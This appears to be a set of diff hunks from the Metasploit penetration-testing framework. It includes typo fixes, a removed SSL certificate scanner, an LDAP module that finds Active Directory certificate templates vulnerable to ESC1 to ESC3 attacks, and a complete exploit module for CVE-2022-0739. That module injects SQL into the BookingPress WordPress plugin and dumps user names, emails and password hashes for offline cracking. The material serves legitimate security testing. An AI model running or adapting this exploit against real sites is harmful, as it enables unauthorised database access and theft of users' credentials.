# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
|
||||
# characters: there's more chance that the the program will run off the stack.
|
||||
# characters: there's more chance that the program will run off the stack.
|
||||
sploit += ' '*(1500-sploit.length)
|
||||
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'Description' => %q{
|
||||
This module dependent on the given filename extension creates either
|
||||
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
|
||||
to the the specified remote host, causing SMB connections to be initiated
|
||||
to the specified remote host, causing SMB connections to be initiated
|
||||
from any user that views the file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -0,0 +1,384 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Misconfigured Certificate Template Finder',
|
||||
'Description' => %q{
|
||||
This module allows users to query a LDAP server for vulnerable certificate
|
||||
templates and will print these certificates out in a table along with which
|
||||
attack they are vulnerable to and the SIDs that can be used to enroll in that
|
||||
certificate template.
|
||||
|
||||
Additionally the module will also print out a list of known certificate servers
|
||||
along with info about which vulnerable certificate templates the certificate server
|
||||
allows enrollment in and which SIDs are authorized to use that certificate server to
|
||||
perform this enrollment operation.
|
||||
|
||||
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
],
|
||||
'References' => [
|
||||
'URL' => 'https://posts.specterops.io/certified-pre-owned-d95910965cd2'
|
||||
],
|
||||
'DisclosureDate' => '2021-06-17',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptBool.new('REPORT_NONENROLLABLE', [true, 'Report nonenrollable certificate templates', false])
|
||||
])
|
||||
end
|
||||
|
||||
# Constants Definition
|
||||
CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT = '0e10c968-78fb-11d2-90d4-00c04f79dc55'.freeze
|
||||
CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT = 'a05b8cc2-17bc-4802-a710-e7c15ab866a2'.freeze
|
||||
CONTROL_ACCESS = 0x00000100
|
||||
|
||||
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID
|
||||
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze
|
||||
OWNER_SECURITY_INFORMATION = 0x1
|
||||
GROUP_SECURITY_INFORMATION = 0x2
|
||||
DACL_SECURITY_INFORMATION = 0x4
|
||||
SACL_SECURITY_INFORMATION = 0x8
|
||||
|
||||
def parse_dacl_or_sacl(acl)
|
||||
flag_allowed_to_enroll = false
|
||||
allowed_sids = []
|
||||
acl.aces.each do |ace|
|
||||
ace_header = ace[:header]
|
||||
ace_body = ace[:body]
|
||||
if ace_body[:access_mask].blank?
|
||||
fail_with(Failure::UnexpectedReply, 'Encountered a DACL/SACL object without an access mask! Either data is an unrecognized type or we are reading it wrong!')
|
||||
end
|
||||
ace_string = Rex::Proto::MsDtyp::MsDtypAceType.name(ace_header[:ace_type])
|
||||
if ace_string.blank?
|
||||
print_error("Skipping unexpected ACE of type #{ace_header[:ace_type]}. Either the data was read incorrectly or we currently don't support this type.")
|
||||
next
|
||||
end
|
||||
if ace_header[:ace_flags][:inherit_only_ace] == 1
|
||||
vprint_warning(' ACE only affects those that inherit from it, not those that it is attached to. Ignoring this ACE, as its not relevant.')
|
||||
next
|
||||
end
|
||||
|
||||
# To decode the ObjectType we need to do another query to CN=Configuration,DC=daforest,DC=com
|
||||
# and look at either schemaIDGUID or rightsGUID fields to see if they match this value.
|
||||
next unless ace_body[:flags] && ace_body[:flags][:ace_object_type_present] == 1
|
||||
|
||||
object_type = ace_body[:object_type]
|
||||
|
||||
if (ace_body.access_mask.protocol & CONTROL_ACCESS) != 0 && (object_type == CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT || object_type == CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT)
|
||||
if ace_string.match(/DENIED/)
|
||||
flag_allowed_to_enroll = false
|
||||
elsif ace_string.match(/ALLOWED/)
|
||||
flag_allowed_to_enroll = true
|
||||
allowed_sids << ace_body[:sid].to_s
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
[flag_allowed_to_enroll, allowed_sids]
|
||||
end
|
||||
|
||||
def query_ldap_server(raw_filter, attributes, base_prefix: nil)
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if !@base_dn.blank?
|
||||
vprint_status("Using already discovered base DN: #{@base_dn}")
|
||||
elsif (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
if @base_dn.blank?
|
||||
fail_with(Failure::BadConfig, 'No base DN was found or specified, cannot continue!')
|
||||
end
|
||||
|
||||
if base_prefix.blank?
|
||||
full_base_dn = @base_dn.to_s
|
||||
else
|
||||
full_base_dn = "#{base_prefix},#{@base_dn}"
|
||||
end
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(raw_filter)
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter! Error was #{e}")
|
||||
end
|
||||
|
||||
# Set the value of LDAP_SERVER_SD_FLAGS_OID flag so everything but
|
||||
# the SACL flag is set, as we need administrative privileges to retrieve
|
||||
# the SACL from the ntSecurityDescriptor attribute on Windows AD LDAP servers.
|
||||
#
|
||||
# Note that without specifying the LDAP_SERVER_SD_FLAGS_OID control in this manner,
|
||||
# the LDAP searchRequest will default to trying to grab all possible attributes of
|
||||
# the ntSecurityDescriptor attribute, hence resulting in an attempt to retrieve the
|
||||
# SACL even if the user is not an administrative user.
|
||||
#
|
||||
# Now one may think that we would just get the rest of the data without the SACL field,
|
||||
# however in reality LDAP will cause that attribute to just be blanked out if a part of it
|
||||
# cannot be retrieved, so we just will get nothing for the ntSecurityDescriptor attribute
|
||||
# in these cases if the user doesn't have permissions to read the SACL.
|
||||
all_but_sacl_flag = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
|
||||
control_values = [all_but_sacl_flag].map(&:to_ber).to_ber_sequence.to_s.to_ber
|
||||
controls = []
|
||||
controls << [LDAP_SERVER_SD_FLAGS_OID.to_ber, true.to_ber, control_values].to_ber_sequence
|
||||
|
||||
returned_entries = ldap.search(base: full_base_dn, filter: filter, attributes: attributes, controls: controls)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
validate_query_result!(query_result, filter)
|
||||
|
||||
if returned_entries.blank?
|
||||
vprint_error("No results found for #{filter}.")
|
||||
|
||||
nil
|
||||
else
|
||||
|
||||
returned_entries
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
end
|
||||
|
||||
def query_ldap_server_certificates(esc_raw_filter, esc_name)
|
||||
attributes = ['cn', 'description', 'ntSecurityDescriptor']
|
||||
base_prefix = 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
esc_entries = query_ldap_server(esc_raw_filter, attributes, base_prefix: base_prefix)
|
||||
|
||||
if esc_entries.blank?
|
||||
print_warning("Couldn't find any vulnerable #{esc_name} templates!")
|
||||
else
|
||||
# Grab a list of certificates that contain vulnerable settings.
|
||||
# Also print out the list of SIDs that can enroll in that server.
|
||||
|
||||
esc_entries.each do |entry|
|
||||
flag_allowed_to_enroll = false # Reset the flag on each entry we parse.
|
||||
|
||||
begin
|
||||
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry[:ntsecuritydescriptor][0])
|
||||
rescue IOError => e
|
||||
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
|
||||
end
|
||||
|
||||
flag_allowed_to_enroll, allowed_sids = parse_dacl_or_sacl(security_descriptor.dacl) if security_descriptor.dacl
|
||||
next unless flag_allowed_to_enroll
|
||||
|
||||
certificate_symbol = entry[:cn][0].to_sym
|
||||
if @vuln_certificate_details.key?(certificate_symbol)
|
||||
@vuln_certificate_details[certificate_symbol][:vulns] << esc_name
|
||||
else
|
||||
@vuln_certificate_details[certificate_symbol] = { vulns: [esc_name], dn: entry[:dn][0], certificate_enrollment_sids: convert_sids_to_human_readable_name(allowed_sids), ca_servers_n_enrollment_sids: {} }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def convert_sids_to_human_readable_name(sids_array)
|
||||
output = []
|
||||
for sid in sids_array
|
||||
raw_filter = "(objectSID=#{sid})"
|
||||
attributes = ['sAMAccountName', 'name']
|
||||
base_prefix = 'CN=Configuration'
|
||||
sid_entry = query_ldap_server(raw_filter, attributes, base_prefix: base_prefix) # First try with prefix to find entries that may be group specific.
|
||||
sid_entry = query_ldap_server(raw_filter, attributes) if sid_entry.blank? # Retry without prefix if blank.
|
||||
if sid_entry.blank?
|
||||
print_warning("Could not find any details on the LDAP server for SID #{sid}!")
|
||||
output << [sid, nil, nil] # Still want to print out the SID even if we couldn't get additional information.
|
||||
elsif sid_entry[0][:samaccountname][0]
|
||||
output << [sid, sid_entry[0][:name][0], sid_entry[0][:samaccountname][0]]
|
||||
else
|
||||
output << [sid, sid_entry[0][:name][0], nil]
|
||||
end
|
||||
end
|
||||
|
||||
result = []
|
||||
output.each do |sid_string, sid_name, sam_account_name|
|
||||
if sam_account_name
|
||||
result << "#{sid_string} (#{sam_account_name})"
|
||||
else
|
||||
result << "#{sid_string} (#{sid_name})"
|
||||
end
|
||||
end
|
||||
|
||||
result.join(' | ')
|
||||
end
|
||||
|
||||
def find_esc1_vuln_cert_templates
|
||||
esc1_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
|
||||
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
|
||||
'(|'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.5.2.3.4)'\
|
||||
'(pkiextendedkeyusage=2.5.29.37.0)'\
|
||||
'(!(pkiextendedkeyusage=*))'\
|
||||
')'\
|
||||
'(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1)'\
|
||||
')'
|
||||
query_ldap_server_certificates(esc1_raw_filter, 'ESC1')
|
||||
end
|
||||
|
||||
def find_esc2_vuln_cert_templates
|
||||
esc2_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
|
||||
'(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))'\
|
||||
'(|'\
|
||||
'(pkiextendedkeyusage=2.5.29.37.0)'\
|
||||
'(!(pkiextendedkeyusage=*))'\
|
||||
')'\
|
||||
')'
|
||||
|
||||
query_ldap_server_certificates(esc2_raw_filter, 'ESC2')
|
||||
end
|
||||
|
||||
def find_esc3_vuln_cert_templates
|
||||
# Find the first vulnerable types of ESC3 templates, those that have the OID of the
|
||||
# Certificate Request Agent which allows the template to be used for
|
||||
# requesting other certificate templates on behalf of other principals.
|
||||
esc3_template_1_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
|
||||
'(|'\
|
||||
'(mspki-ra-signature=0)'\
|
||||
'(!(mspki-ra-signature=*))'\
|
||||
')'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.1)'\
|
||||
')'
|
||||
query_ldap_server_certificates(esc3_template_1_raw_filter, 'ESC3_TEMPLATE_1')
|
||||
|
||||
# Find the second vulnerable types of ESC3 templates, those that
|
||||
# have the right template schema version and, for those with a template
|
||||
# version of 2 or greater, have an Application Policy Insurance Requirement
|
||||
# requiring the Certificate Request Agent EKU.
|
||||
#
|
||||
# Additionally the certificate template must also allow for domain authentication
|
||||
# and the CA must not have any enrollment agent restrictions.
|
||||
esc3_template_2_raw_filter = '(&'\
|
||||
'(objectclass=pkicertificatetemplate)'\
|
||||
'(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))'\
|
||||
'(|'\
|
||||
'(mspki-template-schema-version=1)'\
|
||||
'(&'\
|
||||
'(mspki-template-schema-version>=2)'\
|
||||
'(msPKI-RA-Application-Policies=1.3.6.1.4.1.311.20.2.1)'\
|
||||
')'\
|
||||
')'\
|
||||
'(|'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)'\
|
||||
'(pkiextendedkeyusage=1.3.6.1.5.2.3.4)'\
|
||||
'(pkiextendedkeyusage=2.5.29.37.0)'\
|
||||
'(!(pkiextendedkeyusage=*))'\
|
||||
')'\
|
||||
')'
|
||||
query_ldap_server_certificates(esc3_template_2_raw_filter, 'ESC3_TEMPLATE_2')
|
||||
end
|
||||
|
||||
def find_enrollable_vuln_certificate_templates
|
||||
# For each of the vulnerable certificate templates, determine which servers
|
||||
# allows users to enroll in that certificate template and which users/groups
|
||||
# have permissions to enroll in certificates on each server.
|
||||
|
||||
@vuln_certificate_details.each_key do |certificate_template|
|
||||
certificate_enrollment_raw_filter = "(&(objectClass=pKIEnrollmentService)(certificateTemplates=#{certificate_template}))"
|
||||
attributes = ['cn', 'dnsHostname', 'ntsecuritydescriptor']
|
||||
base_prefix = 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
|
||||
enrollment_ca_data = query_ldap_server(certificate_enrollment_raw_filter, attributes, base_prefix: base_prefix)
|
||||
next if enrollment_ca_data.blank?
|
||||
|
||||
enrollment_ca_data.each do |ca_server|
|
||||
flag_allowed_to_enroll = false
|
||||
begin
|
||||
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(ca_server[:ntsecuritydescriptor][0])
|
||||
rescue IOError => e
|
||||
fail_with(Failure::UnexpectedReply, "Unable to read security descriptor! Error was: #{e.message}")
|
||||
end
|
||||
|
||||
flag_allowed_to_enroll, allowed_sids = parse_dacl_or_sacl(security_descriptor.dacl) if security_descriptor.dacl
|
||||
next unless flag_allowed_to_enroll
|
||||
|
||||
ca_server_key = ca_server[:dnshostname][0].to_sym
|
||||
unless @vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids].key?(ca_server_key)
|
||||
@vuln_certificate_details[certificate_template][:ca_servers_n_enrollment_sids][ca_server_key] = { cn: ca_server[:cn][0], ca_enrollment_sids: allowed_sids }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def print_vulnerable_cert_info
|
||||
@vuln_certificate_details.each do |key, hash|
|
||||
enrollable = true
|
||||
if hash[:ca_servers_n_enrollment_sids].blank?
|
||||
next unless datastore['REPORT_NONENROLLABLE']
|
||||
|
||||
enrollable = false
|
||||
end
|
||||
|
||||
print_status("Template: #{key}")
|
||||
unless enrollable
|
||||
print_warning(" #{key} not published as an enrollable certificate!")
|
||||
end
|
||||
|
||||
print_status(" Distinguished Name: #{hash[:dn]}")
|
||||
print_status(" Vulnerable to: #{hash[:vulns].join(', ')}")
|
||||
|
||||
print_status(' Certificate Template Enrollment SIDs:')
|
||||
for sid in hash[:certificate_enrollment_sids].split(' | ')
|
||||
print_status(" * #{sid}")
|
||||
end
|
||||
|
||||
next unless enrollable
|
||||
|
||||
for ca_hostname, ca_hash in hash[:ca_servers_n_enrollment_sids]
|
||||
print_status(' Issuing CAs:')
|
||||
print_status(" * #{ca_hash[:cn]}")
|
||||
print_status(" Server: #{ca_hostname}")
|
||||
print_status(' Enrollment SIDs:')
|
||||
sid_list_string = convert_sids_to_human_readable_name(ca_hash[:ca_enrollment_sids])
|
||||
for sid_info in sid_list_string.split(' | ')
|
||||
print_status(" * #{sid_info}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# Define our instance variables real quick.
|
||||
@base_dn = nil
|
||||
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
|
||||
|
||||
find_esc1_vuln_cert_templates
|
||||
find_esc2_vuln_cert_templates
|
||||
find_esc3_vuln_cert_templates
|
||||
|
||||
find_enrollable_vuln_certificate_templates
|
||||
print_vulnerable_cert_info
|
||||
end
|
||||
end
|
||||
@@ -140,15 +140,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
base ||= @base_dn
|
||||
returned_entries = ldap.search(base: base, filter: filter, attributes: attributes)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
case query_result['resultCode']
|
||||
when 0
|
||||
vprint_good('Successfully queried LDAP server!')
|
||||
when 1
|
||||
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
|
||||
fail_with(Failure::NoAccess, query_result['errorMessage'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
|
||||
end
|
||||
|
||||
validate_query_result!(query_result, filter)
|
||||
|
||||
if returned_entries.nil? || returned_entries.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
nil
|
||||
@@ -334,7 +328,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
modified = true
|
||||
elsif attribute_properties[attribute_name][:attributesyntax] == '2.5.5.10' # OctetString
|
||||
if attribute_name.to_s.match(/guid$/i)
|
||||
# Get the the entry[attribute_name] object will be an array containing a single string entry,
|
||||
# Get the entry[attribute_name] object will be an array containing a single string entry,
|
||||
# so reach in and extract that string, which will contain binary data.
|
||||
bin_guid = entry[attribute_name][0]
|
||||
if bin_guid.length == 16 # Length of binary data in bytes since this is what .length uses. In bits its 128 bits.
|
||||
@@ -433,6 +427,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
entries = nil
|
||||
|
||||
begin
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
NONCE_NOT_FOUND_ERROR_MSG = 'Unable to get wp-nonce as an unauthenticated user'.freeze
|
||||
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress BookingPress bookingpress_front_get_category_services SQLi',
|
||||
'Description' => %q{
|
||||
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
|
||||
in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
|
||||
(available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
|
||||
As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
|
||||
data from the backend database such as usernames and password hashes.
|
||||
|
||||
This module uses this vulnerability to dump the list of WordPress users and their associated
|
||||
email addresses and password hashes for cracking offline.
|
||||
},
|
||||
'Author' => [
|
||||
'cydave', # Of cyllective. Discovery of bug.
|
||||
'destr4ct', # PoC Code for exploiting the bug.
|
||||
'jheysel-r7' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/destr4ct/CVE-2022-0739'],
|
||||
[ 'WPVDB', '388cd42d-b61a-42a4-8604-99b812db2357'],
|
||||
[ 'CVE', '2022-0739']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2022-02-28',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The URL of the BookingPress appointment booking page', '/bookingpress/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
@nonce = get_user_nonce
|
||||
return Exploit::CheckCode::Unknown(NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
|
||||
|
||||
@sqli = get_sqli_object
|
||||
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def generate_vars_post(sqli)
|
||||
{
|
||||
'action' => 'bookingpress_front_get_category_services', # Vulnerable AJAX action
|
||||
'_wpnonce' => @nonce,
|
||||
'category_id' => 1,
|
||||
'total_service' => "#{rand(100..10000)}#{sqli}"
|
||||
}
|
||||
end
|
||||
|
||||
def get_sqli_object
|
||||
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/wp-admin/admin-ajax.php'),
|
||||
'vars_post' =>
|
||||
generate_vars_post(") UNION ALL SELECT (#{payload}),456,789,12,34,56,78,90,77 from wp_users-- -")
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
json_doc = res.get_json_document
|
||||
if json_doc.blank? || json_doc[0].blank?
|
||||
print_error('Could not parse the JSON response returned from the SQLi attempt!')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
|
||||
json_parsed_doc = json_doc[0]['bookingpress_service_id']
|
||||
if json_parsed_doc.blank?
|
||||
print_error('Was able to parse the JSON response but no bookingpress_service_id field was found!')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
|
||||
json_parsed_doc
|
||||
elsif res
|
||||
print_error("Unexpected response code encountered when conducting the SQLi attempt: #{res.code}")
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
else
|
||||
print_error('No response from SQLi attempt')
|
||||
return GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_user_nonce
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'])
|
||||
})
|
||||
|
||||
return NONCE_NOT_FOUND_ERROR_MSG unless res&.body&.match("_wpnonce:'(\\w+)'\\s*};")
|
||||
|
||||
::Regexp.last_match(1)
|
||||
end
|
||||
|
||||
def run
|
||||
@nonce ||= get_user_nonce
|
||||
fail_with(Failure::UnexpectedReply, NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG
|
||||
@sqli ||= get_sqli_object
|
||||
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
|
||||
|
||||
creds_table = Rex::Text::Table.new(
|
||||
'Header' => 'Wordpress User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Email', 'Hash']
|
||||
)
|
||||
|
||||
print_status('Extracting credential information')
|
||||
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
|
||||
|
||||
users.each do |(username, email, hash)|
|
||||
creds_table << [username, email, hash]
|
||||
create_credential({
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
|
||||
private_data: hash,
|
||||
service_name: 'WordPress BookingPress Plugin',
|
||||
address: datastore['RHOSTS'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
email: email
|
||||
})
|
||||
end
|
||||
print_line creds_table.to_s
|
||||
end
|
||||
end
|
||||
@@ -54,8 +54,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
service_name: result.service_name,
|
||||
protocol: result.protocol,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
|
||||
@@ -73,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if result
|
||||
print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)")
|
||||
# Report with the the SSL Private Key hash for the host
|
||||
# Report with the SSL Private Key hash for the host
|
||||
digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":")
|
||||
report_note(
|
||||
:host => ip,
|
||||
|
||||
@@ -1,140 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::WmapScanSSL
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Rex::Socket::Comm
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP SSL Certificate Information',
|
||||
'Description' => 'Parse the server SSL certificate to obtain the common name and signature algorithm',
|
||||
'Author' =>
|
||||
[
|
||||
'et', #original module
|
||||
'Chris John Riley', #additions
|
||||
'Veit Hailperin <hailperv[at]gmail.com>', # checks for public key size, valid time
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
Opt::RPORT(443)
|
||||
])
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
|
||||
begin
|
||||
|
||||
connect(true, {"SSL" => true}) #Force SSL
|
||||
|
||||
if sock.respond_to? :peer_cert
|
||||
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
||||
end
|
||||
|
||||
disconnect
|
||||
|
||||
if cert
|
||||
print_status("Subject: #{cert.subject}")
|
||||
print_status("Issuer: #{cert.issuer}")
|
||||
print_status("Signature Alg: #{cert.signature_algorithm}")
|
||||
|
||||
# If we use ECDSA rather than RSA, our metrics for key size are different
|
||||
public_key_size = 0
|
||||
if cert.public_key.respond_to? :n
|
||||
public_key_size = cert.public_key.n.num_bytes * 8
|
||||
print_status("Public Key Size: #{public_key_size} bits")
|
||||
end
|
||||
print_status("Not Valid Before: #{cert.not_before}")
|
||||
print_status("Not Valid After: #{cert.not_after}")
|
||||
|
||||
# Checks for common properties of self signed certificates
|
||||
caissuer = (/CA Issuers - URI:(.*?),/i).match(cert.extensions.to_s)
|
||||
|
||||
if caissuer.to_s.empty?
|
||||
print_good("Certificate contains no CA Issuers extension... possible self signed certificate")
|
||||
else
|
||||
print_status(caissuer.to_s[0..-2])
|
||||
end
|
||||
|
||||
if cert.issuer.to_s == cert.subject.to_s
|
||||
print_good("Certificate Subject and Issuer match... possible self signed certificate")
|
||||
end
|
||||
|
||||
alg = cert.signature_algorithm
|
||||
|
||||
if alg.downcase.include? "md5"
|
||||
print_status("WARNING: Signature algorithm using MD5 (#{alg})")
|
||||
end
|
||||
|
||||
vhostn = nil
|
||||
cert.subject.to_a.each do |n|
|
||||
vhostn = n[1] if n[0] == 'CN'
|
||||
end
|
||||
if public_key_size > 0
|
||||
if public_key_size == 1024
|
||||
print_status("WARNING: Public Key only 1024 bits")
|
||||
elsif public_key_size < 1024
|
||||
print_status("WARNING: Weak Public Key: #{public_key_size} bits")
|
||||
end
|
||||
end
|
||||
if cert.not_after < Time.now
|
||||
print_status("WARNING: Certificate not valid anymore")
|
||||
end
|
||||
if cert.not_before > Time.now
|
||||
print_status("WARNING: Certificate not valid yet")
|
||||
end
|
||||
|
||||
if vhostn
|
||||
print_status("Has common name #{vhostn}")
|
||||
|
||||
# Store the virtual hostname for HTTP
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:type => 'http.vhost',
|
||||
:data => {:name => vhostn}
|
||||
)
|
||||
|
||||
# Store the SSL certificate itself
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'ssl.certificate',
|
||||
:data => {
|
||||
:cn => vhostn,
|
||||
:subject => cert.subject.to_a,
|
||||
:algorithm => alg,
|
||||
:valid_from => cert.not_before,
|
||||
:valid_after => cert.not_after,
|
||||
